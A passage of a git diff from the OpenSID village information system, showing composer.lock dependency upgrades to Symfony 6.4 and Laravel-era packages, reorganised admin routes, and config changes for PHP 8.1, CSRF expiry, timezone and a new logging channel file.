"symfony/http-kernel": "^4.4|^5.0|^6.0", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/uid": "^5.1|^6.0", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/error-handler": "^6.3|^7.0", + "symfony/http-kernel": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/uid": "^5.4|^6.0|^7.0", "twig/twig": "^2.13|^3.0.4" }, - "suggest": { - "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", - "ext-intl": "To show region name in time zone dump", - "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" - }, "bin": [ "Resources/bin/var-dump-server" ], @@ -6269,7 +7047,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v5.4.39" + "source": "https://github.com/symfony/var-dumper/tree/v6.4.8" }, "funding": [ { @@ -6285,7 +7063,7 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "tecnickcom/tcpdf", @@ -6435,21 +7213,21 @@ }, { "name": "voku/anti-xss", - "version": "4.1.35", + "version": "4.1.42", "source": { "type": "git", "url": "https://github.com/voku/anti-xss.git", - "reference": "4d7ec2816cd6eeebb7d5abbde8b0349f66709496" + "reference": "bca1f8607e55a3c5077483615cd93bd8f11bd675" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/voku/anti-xss/zipball/4d7ec2816cd6eeebb7d5abbde8b0349f66709496", - "reference": "4d7ec2816cd6eeebb7d5abbde8b0349f66709496", + "url": "https://api.github.com/repos/voku/anti-xss/zipball/bca1f8607e55a3c5077483615cd93bd8f11bd675", + "reference": "bca1f8607e55a3c5077483615cd93bd8f11bd675", "shasum": "" }, "require": { "php": ">=7.0.0", - "voku/portable-utf8": "~6.0.0" + "voku/portable-utf8": "~6.0.2" }, "require-dev": { "phpunit/phpunit": "~6.0 || ~7.0 || ~9.0" @@ -6490,7 +7268,7 @@ ], "support": { "issues": "https://github.com/voku/anti-xss/issues", - "source": "https://github.com/voku/anti-xss/tree/4.1.35" + "source": "https://github.com/voku/anti-xss/tree/4.1.42" }, "funding": [ { @@ -6514,20 +7292,20 @@ "type": "tidelift" } ], - "time": "2021-12-08T15:20:33+00:00" + "time": "2023-07-03T14:40:46+00:00" }, { "name": "voku/portable-ascii", - "version": "1.6.1", + "version": "2.0.1", "source": { "type": "git", "url": "https://github.com/voku/portable-ascii.git", - "reference": "87337c91b9dfacee02452244ee14ab3c43bc485a" + "reference": "b56450eed252f6801410d810c8e1727224ae0743" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/voku/portable-ascii/zipball/87337c91b9dfacee02452244ee14ab3c43bc485a", - "reference": "87337c91b9dfacee02452244ee14ab3c43bc485a", + "url": "https://api.github.com/repos/voku/portable-ascii/zipball/b56450eed252f6801410d810c8e1727224ae0743", + "reference": "b56450eed252f6801410d810c8e1727224ae0743", "shasum": "" }, "require": { @@ -6564,7 +7342,7 @@ ], "support": { "issues": "https://github.com/voku/portable-ascii/issues", - "source": "https://github.com/voku/portable-ascii/tree/1.6.1" + "source": "https://github.com/voku/portable-ascii/tree/2.0.1" }, "funding": [ { @@ -6588,20 +7366,20 @@ "type": "tidelift" } ], - "time": "2022-01-24T18:55:24+00:00" + "time": "2022-03-08T17:03:00+00:00" }, { "name": "voku/portable-utf8", - "version": "6.0.1", + "version": "6.0.13", "source": { "type": "git", "url": "https://github.com/voku/portable-utf8.git", - "reference": "e4365df3f7b63f9e57e1015f6c3ceec19c169f7a" + "reference": "b8ce36bf26593e5c2e81b1850ef0ffb299d2043f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/voku/portable-utf8/zipball/e4365df3f7b63f9e57e1015f6c3ceec19c169f7a", - "reference": "e4365df3f7b63f9e57e1015f6c3ceec19c169f7a", + "url": "https://api.github.com/repos/voku/portable-utf8/zipball/b8ce36bf26593e5c2e81b1850ef0ffb299d2043f", + "reference": "b8ce36bf26593e5c2e81b1850ef0ffb299d2043f", "shasum": "" }, "require": { @@ -6611,10 +7389,14 @@ "symfony/polyfill-intl-normalizer": "~1.0", "symfony/polyfill-mbstring": "~1.0", "symfony/polyfill-php72": "~1.0", - "voku/portable-ascii": "~1.6.0" + "voku/portable-ascii": "~2.0.0" }, "require-dev": { - "phpunit/phpunit": "~6.0 || ~7.0 || ~9.0" + "phpstan/phpstan": "1.9.*@dev", + "phpstan/phpstan-strict-rules": "1.4.*@dev", + "phpunit/phpunit": "~6.0 || ~7.0 || ~9.0", + "thecodingmachine/phpstan-strict-rules": "1.0.*@dev", + "voku/phpstan-rules": "3.1.*@dev" }, "suggest": { "ext-ctype": "Use Ctype for e.g. hexadecimal digit detection", @@ -6663,7 +7445,7 @@ ], "support": { "issues": "https://github.com/voku/portable-utf8/issues", - "source": "https://github.com/voku/portable-utf8/tree/6.0.1" + "source": "https://github.com/voku/portable-utf8/tree/6.0.13" }, "funding": [ { @@ -6687,43 +7469,107 @@ "type": "tidelift" } ], - "time": "2022-01-24T09:49:08+00:00" + "time": "2023-03-08T08:35:38+00:00" + }, + { + "name": "webmozart/assert", + "version": "1.11.0", + "source": { + "type": "git", + "url": "https://github.com/webmozarts/assert.git", + "reference": "11cb2199493b2f8a3b53e7f19068fc6aac760991" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/webmozarts/assert/zipball/11cb2199493b2f8a3b53e7f19068fc6aac760991", + "reference": "11cb2199493b2f8a3b53e7f19068fc6aac760991", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "php": "^7.2 || ^8.0" + }, + "conflict": { + "phpstan/phpstan": "<0.12.20", + "vimeo/psalm": "<4.6.1 || 4.6.2" + }, + "require-dev": { + "phpunit/phpunit": "^8.5.13" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.10-dev" + } + }, + "autoload": { + "psr-4": { + "Webmozart\\Assert\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Assertions to validate method input/output with nice error messages.", + "keywords": [ + "assert", + "check", + "validate" + ], + "support": { + "issues": "https://github.com/webmozarts/assert/issues", + "source": "https://github.com/webmozarts/assert/tree/1.11.0" + }, + "time": "2022-06-03T18:03:27+00:00" }, { "name": "yajra/laravel-datatables-oracle", - "version": "v9.21.2", + "version": "v10.11.4", "source": { "type": "git", "url": "https://github.com/yajra/laravel-datatables.git", - "reference": "a7fd01f06282923e9c63fa27fe6b391e21dc321a" + "reference": "a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/yajra/laravel-datatables/zipball/a7fd01f06282923e9c63fa27fe6b391e21dc321a", - "reference": "a7fd01f06282923e9c63fa27fe6b391e21dc321a", + "url": "https://api.github.com/repos/yajra/laravel-datatables/zipball/a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5", + "reference": "a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5", "shasum": "" }, "require": { - "illuminate/database": "5.8.*|^6|^7|^8|^9", - "illuminate/filesystem": "5.8.*|^6|^7|^8|^9", - "illuminate/http": "5.8.*|^6|^7|^8|^9", - "illuminate/support": "5.8.*|^6|^7|^8|^9", - "illuminate/view": "5.8.*|^6|^7|^8|^9", - "php": "^7.1.3|^8" + "illuminate/database": "^9|^10", + "illuminate/filesystem": "^9|^10", + "illuminate/http": "^9|^10", + "illuminate/support": "^9|^10", + "illuminate/view": "^9|^10", + "php": "^8.0.2" }, "require-dev": { - "orchestra/testbench": "^3.8|^4.0|^5.0|^6.0|^7.0" + "algolia/algoliasearch-client-php": "^3.4", + "larastan/larastan": "^2.4", + "laravel/scout": "^10.5", + "meilisearch/meilisearch-php": "^1.4", + "orchestra/testbench": "^8", + "yajra/laravel-datatables-html": "^9.3.4|^10" }, "suggest": { "yajra/laravel-datatables-buttons": "Plugin for server-side exporting of dataTables.", "yajra/laravel-datatables-editor": "Plugin to use DataTables Editor (requires a license).", + "yajra/laravel-datatables-export": "Plugin for server-side exporting using livewire and queue worker.", "yajra/laravel-datatables-fractal": "Plugin for server-side response using Fractal.", "yajra/laravel-datatables-html": "Plugin for server-side HTML builder of dataTables." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "9.0-dev" + "dev-master": "10.x-dev" }, "laravel": { "providers": [ @@ -6752,7 +7598,7 @@ "email": "aqangeles@gmail.com" } ], - "description": "jQuery DataTables API for Laravel 5|6|7|8|9", + "description": "jQuery DataTables API for Laravel 4|5|6|7|8|9|10", "keywords": [ "datatables", "jquery", @@ -6760,19 +7606,15 @@ ], "support": { "issues": "https://github.com/yajra/laravel-datatables/issues", - "source": "https://github.com/yajra/laravel-datatables/tree/v9.21.2" + "source": "https://github.com/yajra/laravel-datatables/tree/v10.11.4" }, "funding": [ { - "url": "https://www.paypal.me/yajra", - "type": "custom" - }, - { - "url": "https://www.patreon.com/yajra", - "type": "patreon" + "url": "https://github.com/sponsors/yajra", + "type": "github" } ], - "time": "2022-07-12T04:48:03+00:00" + "time": "2024-02-28T05:00:23+00:00" } ], "packages-dev": [ @@ -7060,30 +7902,30 @@ }, { "name": "doctrine/instantiator", - "version": "1.5.0", + "version": "2.0.0", "source": { "type": "git", "url": "https://github.com/doctrine/instantiator.git", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b" + "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/instantiator/zipball/0a0fa9780f5d4e507415a065172d26a98d02047b", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b", + "url": "https://api.github.com/repos/doctrine/instantiator/zipball/c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", + "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", "shasum": "" }, "require": { - "php": "^7.1 || ^8.0" + "php": "^8.1" }, "require-dev": { - "doctrine/coding-standard": "^9 || ^11", + "doctrine/coding-standard": "^11", "ext-pdo": "*", "ext-phar": "*", - "phpbench/phpbench": "^0.16 || ^1", - "phpstan/phpstan": "^1.4", - "phpstan/phpstan-phpunit": "^1", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", - "vimeo/psalm": "^4.30 || ^5.4" + "phpbench/phpbench": "^1.2", + "phpstan/phpstan": "^1.9.4", + "phpstan/phpstan-phpunit": "^1.3", + "phpunit/phpunit": "^9.5.27", + "vimeo/psalm": "^5.4" }, "type": "library", "autoload": { @@ -7110,7 +7952,7 @@ ], "support": { "issues": "https://github.com/doctrine/instantiator/issues", - "source": "https://github.com/doctrine/instantiator/tree/1.5.0" + "source": "https://github.com/doctrine/instantiator/tree/2.0.0" }, "funding": [ { @@ -7126,7 +7968,7 @@ "type": "tidelift" } ], - "time": "2022-12-30T00:15:36+00:00" + "time": "2022-12-30T00:23:10+00:00" }, { "name": "ergebnis/composer-normalize", @@ -8146,16 +8988,16 @@ }, { "name": "phpstan/phpstan", - "version": "1.11.2", + "version": "1.11.4", "source": { "type": "git", "url": "https://github.com/phpstan/phpstan.git", - "reference": "0d5d4294a70deb7547db655c47685d680e39cfec" + "reference": "9100a76ce8015b9aa7125b9171ae3a76887b6c82" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/0d5d4294a70deb7547db655c47685d680e39cfec", - "reference": "0d5d4294a70deb7547db655c47685d680e39cfec", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/9100a76ce8015b9aa7125b9171ae3a76887b6c82", + "reference": "9100a76ce8015b9aa7125b9171ae3a76887b6c82", "shasum": "" }, "require": { @@ -8200,7 +9042,7 @@ "type": "github" } ], - "time": "2024-05-24T13:23:04+00:00" + "time": "2024-06-06T12:19:22+00:00" }, { "name": "phpunit/php-code-coverage", @@ -9078,16 +9920,16 @@ }, { "name": "react/stream", - "version": "v1.3.0", + "version": "v1.4.0", "source": { "type": "git", "url": "https://github.com/reactphp/stream.git", - "reference": "6fbc9672905c7d5a885f2da2fc696f65840f4a66" + "reference": "1e5b0acb8fe55143b5b426817155190eb6f5b18d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/reactphp/stream/zipball/6fbc9672905c7d5a885f2da2fc696f65840f4a66", - "reference": "6fbc9672905c7d5a885f2da2fc696f65840f4a66", + "url": "https://api.github.com/repos/reactphp/stream/zipball/1e5b0acb8fe55143b5b426817155190eb6f5b18d", + "reference": "1e5b0acb8fe55143b5b426817155190eb6f5b18d", "shasum": "" }, "require": { @@ -9097,7 +9939,7 @@ }, "require-dev": { "clue/stream-filter": "~1.2", - "phpunit/phpunit": "^9.5 || ^5.7 || ^4.8.35" + "phpunit/phpunit": "^9.6 || ^5.7 || ^4.8.36" }, "type": "library", "autoload": { @@ -9144,7 +9986,7 @@ ], "support": { "issues": "https://github.com/reactphp/stream/issues", - "source": "https://github.com/reactphp/stream/tree/v1.3.0" + "source": "https://github.com/reactphp/stream/tree/v1.4.0" }, "funding": [ { @@ -9152,7 +9994,7 @@ "type": "open_collective" } ], - "time": "2023-06-16T10:52:11+00:00" + "time": "2024-06-11T12:45:25+00:00" }, { "name": "rector/rector", @@ -10178,24 +11020,25 @@ }, { "name": "symfony/filesystem", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "e6edd875d5d39b03de51f3c3951148cfa79a4d12" + "reference": "4d37529150e7081c51b3c5d5718c55a04a9503f3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/e6edd875d5d39b03de51f3c3951148cfa79a4d12", - "reference": "e6edd875d5d39b03de51f3c3951148cfa79a4d12", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/4d37529150e7081c51b3c5d5718c55a04a9503f3", + "reference": "4d37529150e7081c51b3c5d5718c55a04a9503f3", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "symfony/polyfill-ctype": "~1.8", - "symfony/polyfill-mbstring": "~1.8", - "symfony/polyfill-php80": "^1.16", - "symfony/process": "^5.4|^6.4" + "symfony/polyfill-mbstring": "~1.8" + }, + "require-dev": { + "symfony/process": "^5.4|^6.4|^7.0" }, "type": "library", "autoload": { @@ -10223,7 +11066,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v5.4.39" + "source": "https://github.com/symfony/filesystem/tree/v6.4.8" }, "funding": [ { @@ -10239,27 +11082,25 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/options-resolver", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/options-resolver.git", - "reference": "1303bb73d6c3882f07c618129295503085dfddb9" + "reference": "22ab9e9101ab18de37839074f8a1197f55590c1b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/options-resolver/zipball/1303bb73d6c3882f07c618129295503085dfddb9", - "reference": "1303bb73d6c3882f07c618129295503085dfddb9", + "url": "https://api.github.com/repos/symfony/options-resolver/zipball/22ab9e9101ab18de37839074f8a1197f55590c1b", + "reference": "22ab9e9101ab18de37839074f8a1197f55590c1b", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/polyfill-php73": "~1.0", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3" }, "type": "library", "autoload": { @@ -10292,7 +11133,83 @@ "options" ], "support": { - "source": "https://github.com/symfony/options-resolver/tree/v5.4.39" + "source": "https://github.com/symfony/options-resolver/tree/v6.4.8" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-05-31T14:49:08+00:00" + }, + { + "name": "symfony/polyfill-php81", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/c565ad1e63f30e7477fc40738343c62b40bc672d", + "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.29.0" }, "funding": [ { @@ -10308,25 +11225,25 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { "name": "symfony/stopwatch", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/stopwatch.git", - "reference": "fb97497490bcec8a3c32c809cacfdd4c15dc8390" + "reference": "63e069eb616049632cde9674c46957819454b8aa" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/stopwatch/zipball/fb97497490bcec8a3c32c809cacfdd4c15dc8390", - "reference": "fb97497490bcec8a3c32c809cacfdd4c15dc8390", + "url": "https://api.github.com/repos/symfony/stopwatch/zipball/63e069eb616049632cde9674c46957819454b8aa", + "reference": "63e069eb616049632cde9674c46957819454b8aa", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/service-contracts": "^1|^2|^3" + "php": ">=8.1", + "symfony/service-contracts": "^2.5|^3" }, "type": "library", "autoload": { @@ -10354,7 +11271,7 @@ "description": "Provides a way to profile code", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/stopwatch/tree/v5.4.39" + "source": "https://github.com/symfony/stopwatch/tree/v6.4.8" }, "funding": [ { @@ -10370,7 +11287,7 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "theseer/tokenizer", @@ -10488,7 +11405,7 @@ "prefer-stable": true, "prefer-lowest": false, "platform": { - "php": "^7.4 || ^8.0" + "php": "^8.1" }, "platform-dev": [], "plugin-api-version": "2.3.0" diff --git a/donjo-app/Routes/Web/admin.php b/donjo-app/Routes/Web/admin.php index 65b3c425f..fb705c151 100644 --- a/donjo-app/Routes/Web/admin.php +++ b/donjo-app/Routes/Web/admin.php @@ -1045,17 +1045,14 @@ // Lembaran Desa Route::group('lembaran_desa', static function (): void { - Route::get('/clear', 'Lembaran_desa@clear')->name('buku-umum.lembaran_desa.clear'); - Route::get('/form/{p?}/{o?}/{id?}', 'Lembaran_desa@form')->name('buku-umum.lembaran_desa.form'); - Route::post('/search', 'Lembaran_desa@search')->name('buku-umum.lembaran_desa.search'); - Route::post('/filter/{filter?}', 'Lembaran_desa@filter')->name('buku-umum.lembaran_desa.filter'); - Route::post('/update/{id}/{p?}/{o?}', 'Lembaran_desa@update')->name('buku-umum.lembaran_desa.update'); - Route::get('/lock/{id}/{val?}', 'Lembaran_desa@lock')->name('buku-umum.lembaran_desa.lock'); - Route::get('/dialog_daftar/{aksi?}/{o?}', 'Lembaran_desa@dialog_daftar')->name('buku-umum.lembaran_desa.dialog_daftar'); - Route::match(['GET', 'POST'], '/daftar/{aksi?}/{o?}', 'Lembaran_desa@daftar')->name('buku-umum.lembaran_desa.daftar'); + Route::get('/', 'Lembaran_desa@index')->name('buku-umum.lembaran_desa.index'); + Route::get('/datatables', 'Lembaran_desa@datatables')->name('buku-umum.lembaran_desa.datatables'); + Route::get('/form/{id?}', 'Lembaran_desa@form')->name('buku-umum.lembaran_desa.form'); + Route::post('/update/{id}', 'Lembaran_desa@update')->name('buku-umum.lembaran_desa.update'); + Route::get('/lock/{id}', 'Lembaran_desa@lock')->name('buku-umum.lembaran_desa.lock'); + Route::get('/dialog/{aksi?}', 'Lembaran_desa@dialog')->name('buku-umum.lembaran_desa.dialog'); + Route::post('/cetak/{aksi?}', 'Lembaran_desa@cetak')->name('buku-umum.lembaran_desa.cetak'); Route::get('/unduh_berkas/{id_dokumen?}', 'Lembaran_desa@unduh_berkas')->name('buku-umum.lembaran_desa.unduh_berkas'); - Route::match(['GET', 'POST'], '/index/{p?}/{o?}', 'Lembaran_desa@index')->name('buku-umum.lembaran_desa.index'); - Route::match(['GET', 'POST'], '/{p?}/{o?}', 'Lembaran_desa@index')->name('buku-umum.lembaran_desa.index-page'); }); // Perangkat/Pengurus Desa @@ -1499,12 +1496,14 @@ }); // Analisis > Pengaturan -Route::group('setting', static function (): void { - Route::get('/analisis', 'Setting@analisis')->name('setting.analisis'); +Route::group('setting_analisis', static function (): void { + Route::get('/', 'Setting_analisis@index')->name('setting_analisis.index'); + Route::post('update', 'Setting_analisis@update')->name('setting_analisis.update'); }); // Program Bantuan Route::group('program_bantuan', static function (): void { + Route::get('/datatables', 'Program_bantuan@datatables')->name('program_bantuan.datatables'); Route::get('/clear', 'Program_bantuan@clear')->name('program_bantuan.clear'); Route::post('/filter/{filter}', 'Program_bantuan@filter')->name('program_bantuan.filter'); Route::match(['GET', 'POST'], '/', 'Program_bantuan@index')->name('program_bantuan.index'); @@ -2104,8 +2103,9 @@ }); // Admin Web > Pengaturan -Route::group('setting', static function (): void { - Route::get('/web', 'Setting@web')->name('setting.web'); +Route::group('setting_web', static function (): void { + Route::get('/', 'Setting_web@index')->name('setting_web.index'); + Route::post('/update', 'Setting_web@update')->name('setting_web.update'); }); // Layanan Mandiri > Kotak Pesan @@ -2155,7 +2155,10 @@ Route::group('setting', static function (): void { Route::get('/ambil_foto', 'Setting@ambil_foto')->name('setting.ambil_foto'); Route::post('/aktifkan_tracking', 'Setting@aktifkan_tracking')->name('setting.aktifkan_tracking'); - Route::get('/mandiri', 'Setting@mandiri')->name('setting.mandiri'); +}); +Route::group('setting_mandiri', static function (): void { + Route::get('/', 'Setting_mandiri@index')->name('setting_mandiri.index'); + Route::post('/update', 'Setting_mandiri@update')->name('setting_mandiri.update'); }); // Anjungan > Daftar Anjungan diff --git a/donjo-app/config/app.php b/donjo-app/config/app.php index c391f0993..0292ebd69 100644 --- a/donjo-app/config/app.php +++ b/donjo-app/config/app.php @@ -41,6 +41,8 @@ return [ + 'timezone' => 'UTC', + /* |-------------------------------------------------------------------------- | Encryption Key diff --git a/donjo-app/config/config.php b/donjo-app/config/config.php index 1a0bfa49f..4ae08c24c 100644 --- a/donjo-app/config/config.php +++ b/donjo-app/config/config.php @@ -520,7 +520,7 @@ $config['csrf_protection'] = true; $config['csrf_token_name'] = 'sidcsrf'; $config['csrf_cookie_name'] = 'sidcsrf'; -$config['csrf_expire'] = 120; +$config['csrf_expire'] = 300; $config['csrf_regenerate'] = false; $config['csrf_exclude_uris'] = ['api.*+']; @@ -637,7 +637,7 @@ | - Server layanan (Default) | */ -$config['server_layanan'] = 'https://layanan.opendesa.id'; +$config['server_layanan'] = 'https://devlayanan.opendesa.id'; /* |-------------------------------------------------------------------------- diff --git a/donjo-app/config/constants.php b/donjo-app/config/constants.php index 4353e5077..38fe5f415 100644 --- a/donjo-app/config/constants.php +++ b/donjo-app/config/constants.php @@ -234,3 +234,59 @@ // File define('LATAR_SITEMAN', 'desa/pengaturan/siteman/images/latar_login.jpg'); define('LATAR_KEHADIRAN', 'desa/pengaturan/siteman/images/latar_login_mandiri.jpg'); + +// Info Sistem + +/* + * + * File ini bagian dari: + * + * OpenSID + * + * Sistem informasi desa sumber terbuka untuk memajukan desa + * + * Aplikasi dan source code ini dirilis berdasarkan lisensi GPL V3 + * + * Hak Cipta 2009 - 2015 Combine Resource Institution (http://lumbungkomunitas.net/) + * Hak Cipta 2016 - 2024 Perkumpulan Desa Digital Terbuka (https://opendesa.id) + * + * Dengan ini diberikan izin, secara gratis, kepada siapa pun yang mendapatkan salinan + * dari perangkat lunak ini dan file dokumentasi terkait ("Aplikasi Ini"), untuk diperlakukan + * tanpa batasan, termasuk hak untuk menggunakan, menyalin, mengubah dan/atau mendistribusikan, + * asal tunduk pada syarat berikut: + * + * Pemberitahuan hak cipta di atas dan pemberitahuan izin ini harus disertakan dalam + * setiap salinan atau bagian penting Aplikasi Ini. Barang siapa yang menghapus atau menghilangkan + * pemberitahuan ini melanggar ketentuan lisensi Aplikasi Ini. + * + * PERANGKAT LUNAK INI DISEDIAKAN "SEBAGAIMANA ADANYA", TANPA JAMINAN APA PUN, BAIK TERSURAT MAUPUN + * TERSIRAT. PENULIS ATAU PEMEGANG HAK CIPTA SAMA SEKALI TIDAK BERTANGGUNG JAWAB ATAS KLAIM, KERUSAKAN ATAU + * KEWAJIBAN APAPUN ATAS PENGGUNAAN ATAU LAINNYA TERKAIT APLIKASI INI. + * + * @package OpenSID + * @author Tim Pengembang OpenDesa + * @copyright Hak Cipta 2009 - 2015 Combine Resource Institution (http://lumbungkomunitas.net/) + * @copyright Hak Cipta 2016 - 2024 Perkumpulan Desa Digital Terbuka (https://opendesa.id) + * @license http://www.gnu.org/licenses/gpl.html GPL V3 + * @link https://github.com/OpenSID/OpenSID + * + */ + +define('EKSTENSI_WAJIB', serialize([ + 'curl', + 'fileinfo', + 'gd', + 'iconv', + 'json', + 'mbstring', + 'mysqli', + 'mysqlnd', + 'tidy', + 'zip', + 'exif', +])); +define('minPhpVersion', '8.1.0'); +define('maxPhpVersion', '8.2.0'); +define('minMySqlVersion', '5.6.0'); +define('maxMySqlVersion', '8.0.0'); +define('minMariaDBVersion', '10.3.0'); diff --git a/donjo-app/config/hooks.php b/donjo-app/config/hooks.php index 56bf35d53..c26779b09 100644 --- a/donjo-app/config/hooks.php +++ b/donjo-app/config/hooks.php @@ -35,6 +35,8 @@ * */ +use Illuminate\Contracts\Debug\ExceptionHandler; + defined('BASEPATH') || exit('No direct script access allowed'); /* @@ -77,7 +79,7 @@ */ $app->singleton( - Illuminate\Contracts\Debug\ExceptionHandler::class, + ExceptionHandler::class, App\Exceptions\Handler::class ); @@ -128,18 +130,11 @@ | and wonderful application we have prepared for them. | */ +try { + $app->boot(); +} catch (Throwable $th) { + $app?->make(ExceptionHandler::class)?->report($th); +} -$app->boot(); $moduleLocations = $CFG->item('modules_locations'); $hook = getHooks(['modules_location' => $moduleLocations]); - -if (ENVIRONMENT === 'development') { - Illuminate\Support\Facades\DB::enableQueryLog(); - - /** - * Uncomment untuk listen semua query dari illuminate database. - */ - Illuminate\Support\Facades\Event::listen(Illuminate\Database\Events\QueryExecuted::class, static function ($query): void { - log_message('error', array_reduce($query->bindings, static fn ($sql, $binding) => preg_replace('/\?/', is_numeric($binding) ? $binding : "'{$binding}'", $sql, 1), $query->sql)); - }); -} diff --git a/donjo-app/config/installer.php b/donjo-app/config/installer.php index bf9b0275f..101004571 100644 --- a/donjo-app/config/installer.php +++ b/donjo-app/config/installer.php @@ -249,8 +249,8 @@ 'server' => [ 'php' => [ 'name' => 'PHP Version', - 'version' => '>= 7.4.0 | <= 8.2.0', - 'check' => static fn (): bool => version_compare(PHP_VERSION, '7.4', '>=') && version_compare(PHP_VERSION, '8.2', '<='), + 'version' => '>= 8.1.0 | <= 8.2.0', + 'check' => static fn (): bool => version_compare(PHP_VERSION, '8.1', '>=') && version_compare(PHP_VERSION, '8.2', '<='), ], 'pdo' => [ 'name' => 'PDO', diff --git a/donjo-app/config/logging.php b/donjo-app/config/logging.php new file mode 100644 index 000000000..b7702ebfc --- /dev/null +++ b/donjo-app/config/logging.php @@ -0,0 +1,146 @@ + 'daily', + + /* + |-------------------------------------------------------------------------- + | Deprecations Log Channel + |-------------------------------------------------------------------------- + | + | This option controls the log channel that should be used to log warnings + | regarding deprecated PHP and library features. This allows you to get + | your application ready for upcoming major versions of dependencies. + | + */ + + 'deprecations' => null, + + /* + |-------------------------------------------------------------------------- + | Log Channels + |-------------------------------------------------------------------------- + | + | Here you may configure the log channels for your application. Out of + | the box, Laravel uses the Monolog PHP logging library. This gives + | you a variety of powerful log handlers / formatters to utilize. + | + | Available Drivers: "single", "daily", "slack", "syslog", + | "errorlog", "monolog", + | "custom", "stack" + | + */ + + 'channels' => [ + 'stack' => [ + 'driver' => 'stack', + 'channels' => ['daily'], + ], + + 'single' => [ + 'driver' => 'single', + 'path' => storage_path('logs/opensid.log'), + 'level' => 'debug', + ], + + 'daily' => [ + 'driver' => 'daily', + 'path' => storage_path('logs/opensid.log'), + 'level' => 'debug', + 'days' => 14, + ], + + 'slack' => [ + 'driver' => 'slack', + 'url' => null, + 'username' => 'Lumen Log', + 'emoji' => ':boom:', + 'level' => 'critical', + ], + + 'papertrail' => [ + 'driver' => 'monolog', + 'level' => 'debug', + 'handler' => SyslogUdpHandler::class, + 'handler_with' => [ + 'host' => null, + 'port' => null, + ], + ], + + 'stderr' => [ + 'driver' => 'monolog', + 'handler' => StreamHandler::class, + 'with' => [ + 'stream' => 'php://stderr', + ], + ], + + 'syslog' => [ + 'driver' => 'syslog', + 'level' => 'debug', + ], + + 'errorlog' 